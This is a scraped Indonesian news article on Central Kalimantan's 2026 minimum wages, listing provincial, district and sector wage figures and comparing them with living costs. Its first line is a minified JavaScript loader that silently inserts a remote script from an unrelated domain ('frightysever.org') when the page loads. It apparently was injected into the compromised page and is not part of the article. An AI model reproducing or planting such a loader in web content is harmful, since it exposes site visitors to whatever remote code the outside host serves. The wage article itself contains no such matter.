(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah


Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang ditandatangani tanggal 19 Desember 2025 lalu, besaran kenaikan UMP 2026 Kalimantan Tengah mencapai 6,12 persen. Sementara kenaikan UMK Kalimantan Tengah memiliki besaran kenaikan yang beragam.

Sekilas, UMP, UMK, dan UMR terlihat sama. Akan tetapi, terdapat perbedaan definisi berdasarkan tingkatnya. Seperti namanya, Upah Minimum Provinsi (UMP) adalah batas upah terendah di tingkat provinsi. Sementara Upah Minimum Kabupaten/Kota merupakan upah minimum terendah bagi para pekerja di kabupaten maupun kota. 

Istilah Upah Minimum Regional merujuk pada upah minimum pada suatu wilayah Pada saat ini, istilah UMR sudah tidak berlaku lagi sebab telah terbagi menjadi tingkat provinsi (UMP) dan tingkat kabupaten/kota (UMK).

Perhitungan UMP, UMK , dan UMSP Kalimantan Tengah menggunakan formula yang telah ditetapkan Peraturan Pemerintah Republik Indonesia Nomor 49 Tahun 2025 tentang Perubahan Kedua atas Peraturan Pemerintah Nomor 36 Tahun 2021. Berbeda dengan perhitungan UMP 2025 yang serentak mengalami kenaikan mencapai 6,5 persen.

Berapakah nilai besaran kenaikan UMP 2026 Kalimantan Tengah hingga UMSP-nya? Simak informasi selengkapnya di bawah ini.

Besaran UMP Kalimantan Tengah 2026

Berdasarkan Keputusan Gubernur Kalimantan Tengah Nomor 188.44/477/2025, UMP Kalimantan Tengah ditetapkan sebesar Rp3.686.138 per bulan. Kenaikan UMP 2026 Kalimantan Tengah meningkat sebesar 6,12 persen dibandingkan UMP 2025 lalu sebesar Rp212.516. 

Mengutip dari Media Center Kalimantan Tengah, penetapan kenaikan UMP Kalimantan Tengah berdasarkan pertimbangan kondisi perekonomian daerah, tingkat inflasi, serta kebutuhan hidup layak pekerja.

Daftar UMK Kalimantan Tengah 2026

Melalui Keputusan Gubernur Kalimantan Tengah Nomor 188.44/492/2025  yang ditetapkan pada tanggal 24 Desember 2025 lalu, besaran kenaikan UMK Kalimantan Tengah cukup beragam.

Mulai dari 4,9 persen hingga 6,8 persen, berikut adalah rincian UMK Kalimantan Tengah 2026.

Kabupaten/Kota UMK 2025 UMK 2026 Kenaikan
Kabupaten Barito Utara Rp3.900.362,43 Rp4.093.071,54 4,94%
Kabupaten Seruyan Rp3.870.690,32 Rp4.051.079,97 4,66%
Kabupaten Barito Selatan Rp3.829.097,81 Rp4.045.059,00 5,64%
Kabupaten Murung Raya Rp3.793.932,00 Rp3.998.046,00 5,38%
Kabupaten Lamandau Rp3.781.317,00 Rp3.938.998,00 4,17%
Kabupaten Sukamara Rp3.716.340,00 Rp3.912.098,21 5,27%
Kabupaten Kotawaringin Barat Rp3.700.658,81 Rp3.909.005,90 5,63%
Kabupaten Gunung Mas Rp3.544.506,38 Rp3.770.716,78 6,38%
Kabupaten Kotawaringin Timur Rp3.559.112,85 Rp3.756.643,61 5,55%
Kabupaten Katingan Rp3.561.258,83 Rp3.729.766,91 4,73%
Kota Palangkaraya Rp3.525.154,26 Rp3.724.677,99 5,66%
Kabupaten Barito Timur Rp3.498.701,00 Rp3.716.006,00 6,21%
Kabupaten Kapuas Rp3.473.710,50 Rp3.710.096,50 6,81%
Kabupaten Pulang Pisau Rp3.481.226,00 Rp3.701.205,00 6,32%

Berdasarkan tabel yang tersaji, UMK tertinggi diraih Kabupaten Barito Utara yang telah mencapai upah minimum sebesar 4 juta rupiah dengan kenaikan 4,94 persen. UMK tertinggi lainnya disusul Kabupaten Seruyan, Barito Selatan, dan Murung Raya,

Sementara upah minimum Ibu Kota Palangkaraya diketahui belum mencapai 4 juta rupiah, yakni hanya 3,7 juta rupiah dengan kenaikan 5,66 persen. 

Tidak hanya Ibu Kota Palangkaraya, 3 daerah lainnya menempati posisi besaran upah minimum terendah di Kalimantan Tengah, yaitu Kabupaten Pulang Pisau, Kapuas, dan Barito Timur hanya mencapai 3,7 juta rupiah.

Daftar UMSP Kalimantan Tengah 2026

Upah Minimum Sektor Provinsi merupakan kebijakan pengupahan terendah dalam sektor-sektor tertentu. UMSP diketahui memiliki upah minimum tertinggi dibandingkan UMP hingga UMK.

Berikut ini adalah UMSP Kalimantan Tengah di berbagai sektor yang berlaku di tahun 2026 berdasarkan Keputusan Gubernur Kalimantan Tengah Nomor 188.44/492/2025.

SEKTOR UMSP 2026
Industri Minyak Mentah Kelapa Sawit Rp3.692.907,00
Industri Minyak Mentah Inti Kelapa Sawit Rp3.692.907
Industri Minyak Goreng Kelapa Sawit Rp3.692.907
Perkebunan Buah Kelapa Sawit Rp3.692.907
Pertambangan Batu Bara Rp3.714.130
Pertambangan Emas dan Perak Rp3.714.130

Sama seperti UMSP,  UMSK berlaku untuk tingkat Kabupaten/Kota. Adapun kenaikan UMSK Kalimantan Tengah sebagai berikut.

Kabupaten Kapuas

Sektor UMSK 2026
Perkebunan Buah Kelapa Sawit Rp3.716.814,00
Pertambangan Batu Bara Rp3.738.175,00

Kabupaten Seruyan

Sektor UMSK 2026
Industri Minyak Mentah Kelapa Sawit (Crude Palm Oil) 4.058.597,70
Perkebunan Buah Kelapa Sawit 4.058.597,70

Kabupaten Kotawaringin Barat

Sektor UMSK 2026
Konstruksi Gedung Industri Rp3.967.641,31
Konstruksi Bangunan Sipil Jalan Rp3.967.641,31
Angkutan Bus Antar Kota Antar Provinsi (AKAP) Rp3.946.141,38
Pergudangan dan Penyimpanan Rp3.946.141,38
Hotel Bintang Rp3.946.141,38
Bank Umum Konvensional Rp3.946.141,38
Perusahaan Pembiayaan Konvensional Rp3.946.141,38
Distribusi Tenaga Listrik Rp3.946.141,38
Industri Minyak Mentah Kelapa Sawit (Crude Palm Oil) Rp3.946.141,38
Industri Minyak Mentah Inti Kelapa Sawit (Crude Palm Kernel Oil) Rp3.946.141,38
Perkebunan Buah Kelapa Sawit Rp3.946.141,38
Pertambangan Emas dan Perak Rp3.946.141,38
Pemanfaatan Kayu Hutan Tanaman pada Hutan Produksi Rp3.946.141,38
Industri Partikel Kayu dan sejenisnya Rp3.946.141,38
Industri Kayu Lapis Rp3.946.141,38
Pertambangan Bahan Galian Lainnya Yang Tidak Mengandung Bijih Besi Rp3.967.641,31
Konstruksi Gedung Hunian Rp3.967.641,31

Kabupaten Barito Timur

Sektor UMSK 2026
Industri Minyak Mentah Kelapa Sawit (Crude Palm Oil) Rp3.771.746,00
Perkebunan Buah Kelapa Sawit Rp3.771.746,00
Pertambangan Batu Bara Rp3.790.327,00

Kabupaten Barito Selatan

Sektor UMSK 2026
Perkebunan Buah Kelapa Sawit Rp4.056.576,00
Pertambangan Batu Bara Rp4.067.140,00

Kabupaten Barito Utara

Sektor UMSK 2026
Perkebunan Buah Kelapa Sawit Rp4.095.118,07
Pertambangan Batu Bara Rp4.095.936,68

Kabupaten Kotawaringin Timur

Sektor UMSK 2026
Perkebunan Buah Kelapa Sawit Rp3.762.857,50

Kabupaten Murung Raya

Sektor UMSK 2026
Bank Umum Konvensional Rp4.007.626,00
Pemanfaatan Kayu Hutan Alam Rp4.038.026,00
Aktivitas Penunjang Pertambangan dan Penggalian Lainnya Rp4.048.021,00
Penyedia Jasa Boga Periode Tertentu Rp4.007.626,00
Aktivitas Penyediaan Tenaga Kerja Waktu Tertentu Rp4.007.626,00
Aktivitas Keamanan Swasta Rp4.007.626,00
Aktivitas Penatu Rp4.007.626,00
Perkebunan Buah Kelapa Sawit Rp4.038.026,00
Pertambangan Batu Bara Rp4.048.021,00
Pertambangan Emas dan Perak Rp4.048.021,00

 

Aturan Penerapan UMP Kalimantan Tengah 2026

Berdasarkan Undang-Undang yang tertera dalam PP Nomor 51 Tahun 2023, UMP diterapkan bagi para pekerja baru yang belum mencapai masa kerja 1 tahun. Oleh karena itu, pemberlakuan UMP 2026 hanya untuk pekerja/buruh baru saja. 

Bagi para pekerja/buruh yang telah bekerja lebih dari 1 tahun akan mengikuti pengupahan struktural yang berlaku. 

Membandingkan UMP 2026 Kalimantan Tengah dengan Biaya Hidup Layak

Kemnaker resmi menetapkan KHL sebagai acuan utama untuk menghitung upah minimum setiap daerah. Hal ini dijelaskan juga melalui publikasi resmi media sosial Facebook Kemnaker agar upah minimum setiap provinsi lebih adil dan fleksibel, serta mengikuti kondisi ekonomi setiap provinsi. Termasuk dalam menghitung kenaikan UMP Kalimantan Selatan.

Perhitungan KHL yang diperbarui sejak tanggal 20 Desember 2025 lalu menggunakan metode ILO, formula yang mempertimbangkan kebutuhan rumah tangga. Berdasarkan data yang dijabarkan Kemnaker, KHL Kalimantan Tengah sebesar Rp4.279.888.

Jika mengutip data yang dihimpun BPS Kalimantan Tengah melalui akun Instagram @Kaltengpedia, rata-rata pengeluaran penduduk Kalimantan Tengah tahun 2025 di perkotaan dan perdesaan mencapai  Rp1.596.165.  Sementara pengeluaran biaya hidup di Kota Palangka Raya pada tahun 2025 rata-rata mencapai Rp1.933.409 per bulan. Hampir mencapai 2 juta rupiah perbulan.

Namun, melihat survei data yang dihimpun BPS Kalteng 2024 melalui publikasi Instagram @Kalselmedia, biaya pengeluaran rumah tangga tahun 2022–2023 di Kota Palangkaraya dapat mencapai Rp8.185.155 per bulan. 

Sehingga, jika membandingkan UMP 2026 Kalimantan Tengah sebesar 3,6 juta rupiah dengan biaya pengeluaran yang tercatat di tahun 2024, diperkirakan biaya hidup belum dapat terpenuhi. Begitu pula membandingkan biaya UMP dengan KHL di Kalimantan Tengah yang terhitung tinggi.

Apabila membandingkan biaya UMP Kalimantan Tengah dengan pengeluaran rata-rata di Kota Palangkaraya yang tercatat pada tahun 2025, diperkirakan biaya hidup di Kalimantan Tengah masih dapat terpenuhi.

Perbandingan biaya hidup ini hanyalah perkiraan saja. Sehingga, mengenai biaya hidup yang diperlukan kembali lagi dengan kebutuhan masing-masing individu, apakah pengeluaran dapat lebih banyak, cukup, atau belum terpenuhi. (Kanalkalimantan.com/kk)


Alethea Sugiharto Wijaya

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

10 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

12 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

13 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

14 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

15 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

19 jam ago

This website uses cookies.